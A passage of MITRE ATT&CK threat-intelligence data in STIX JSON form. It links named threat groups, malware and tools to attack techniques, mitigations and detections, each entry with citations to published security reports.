2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0f58f34-8f30-4a21-9771-5656ad0f5900","created":"2021-09-14T19:56:28.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group WastedLocker June 2020","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"},{"source_name":"Crowdstrike EvilCorp March 2021","description":"Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.","url":"https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T19:45:37.678Z","description":"(Citation: NCC Group WastedLocker June 2020)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Microsoft Ransomware as a Service)(Citation: SentinelOne SocGholish Infrastructure November 2022)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0f7db5b-a4cf-40b1-b581-2ae548ca6303","created":"2024-03-25T20:43:21.001Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:43:21.001Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) retrieves browser histories via infostealer malware such as Raccoon Stealer.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0fc62bc-ac39-4840-968d-8a3f8f3ce6a0","created":"2022-08-24T15:09:38.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T14:28:41.568Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can identify processes associated with analytical tools.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1004711-9899-4757-8338-428fe33c3411","created":"2023-09-27T17:45:37.065Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T17:45:37.065Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) can use a plugin to enumerate system drives.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c11054b6-8e97-483d-b941-44dd723184f6","created":"2024-06-18T20:22:17.598Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:22:17.598Z","description":"[Spica](https://attack.mitre.org/software/S1140) has created a scheduled task named `CalendarChecker` for persistence on compromised hosts.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1108137-b707-4358-b4b2-b2f139418f7e","type":"relationship","created":"2019-04-24T20:50:12.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.629Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can capture passwords from common chat applications such as MSN Messenger, AOL, Instant Messenger, and and Google Talk.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c111033c-3544-43b8-9168-32590659557d","type":"relationship","created":"2020-03-09T13:13:23.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx","description":"Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.","source_name":"Microsoft Process Wide Com Keys"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx","description":"Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.","source_name":"Microsoft System Wide Com Keys"},{"url":"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1","description":"Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.","source_name":"Microsoft COM ACL"}],"modified":"2022-03-11T20:14:42.482Z","description":"Modify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\AppID\\\\{AppID_GUID}` associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Ole` associated with system-wide security defaults for all COM applications that do no set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c118e50b-4559-4bff-bde5-78aa426f3db4","type":"relationship","created":"2020-11-10T18:04:03.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."},{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."}],"modified":"2020-11-10T18:04:03.666Z","description":"(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1205923-690a-4bfb-9116-0a60eb931b26","created":"2023-01-09T20:02:49.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-10T18:16:56.238Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used Fast Reverse Proxy (FRP) for RDP traffic.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1214ef3-9bff-4702-8f54-4e6ddf955d93","created":"2022-09-30T19:05:50.538Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:05:50.538Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors deployed a file called `DeployJava.js` to fingerprint installed software on a victim system prior to exploit delivery.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c121f791-981e-46c8-a04d-5edadb8521c8","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor newly executed processes that may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c128b821-b39b-481a-91a1-a2bad7d6dda2","type":"relationship","created":"2019-04-23T15:49:35.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","source_name":"ESET Ebury Feb 2014"}],"modified":"2020-03-20T18:11:07.913Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has encoded C2 traffic in hexadecimal format.(Citation: ESET Ebury Feb 2014)\t","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1296428-d36e-4ee0-9afc-5761d64cf1e7","created":"2024-07-25T17:25:22.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"},{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T18:02:38.819Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has used legitimate software to side-load [PlugX](https://attack.mitre.org/software/S0013) loaders onto victim systems.(Citation: Symantec Daggerfly 2023) [Daggerfly](https://attack.mitre.org/groups/G1034) is also linked to multiple other instances of side-loading for initial loading activity.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c12b8252-0222-4cca-a8ca-d91be4ea663e","created":"2022-05-27T14:30:26.632Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","modified":"2022-05-27T14:30:26.632Z","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c12c331c-67dd-40be-b2ad-a198c0b92e78","created":"2020-05-01T20:05:15.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black HotCroissant April 2020","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:17:57.758Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has encrypted strings with single-byte XOR and base64 encoded RC4.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1340ca5-8aa5-442b-8715-b2c9a525d14f","created":"2024-06-14T20:05:10.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"StarBlizzard","description":"Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-17T18:33:22.293Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has incorporated the open-source EvilGinx framework into their spearphishing activity.(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard) ","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1341f02-e2be-4c70-8d14-28170bee2133","created":"2024-02-13T16:50:22.595Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-13T16:50:22.595Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used the CLEANPULSE utility to insert command line strings into a targeted process to alter its functionality.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1349223-f356-4e0d-8148-bda128354347","type":"relationship","created":"2021-03-19T21:04:01.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2021-03-19T21:04:01.014Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used HTTP for C2 communications.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c13ac561-878f-4119-b5b1-39994f7c25df","created":"2022-02-08T16:11:38.626Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) gathers Kubernetes service account tokens using a variety of techniques.(Citation: Peirates GitHub)","modified":"2022-04-14T20:56:39.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c13b5c12-5a80-4012-b2d2-6642dd8ccf5c","type":"relationship","created":"2021-10-05T21:26:15.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-05T21:26:15.308Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c13bc6b0-a8fa-4c52-9774-3738a5f1ce90","type":"relationship","created":"2020-03-30T18:32:03.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","source_name":"US-CERT BADCALL"}],"modified":"2020-03-30T18:32:03.450Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) communicates on ports 443 and 8000 with a FakeTLS method.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1414165-48e9-4bd7-a5af-72d61d2ec2d1","type":"relationship","created":"2020-03-15T16:13:46.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T20:15:35.857Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments","description":"Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.","source_name":"Blasco 2013"}],"modified":"2020-03-18T20:46:32.462Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) has been known to establish persistence by adding programs to the Run Registry key.(Citation: Blasco 2013)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1426caf-83c5-48d3-aa77-0455ddfb85f8","created":"2023-05-22T19:53:56.008Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-22T19:53:56.008Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) can use HTTPS for C2 communications.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c14a954c-5d6d-4f29-8542-934e0fa5e9d3","type":"relationship","created":"2022-02-18T15:13:56.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"modified":"2022-02-18T15:13:56.312Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used obfuscated PowerShell scripts for staging.(Citation: Microsoft Actinium February 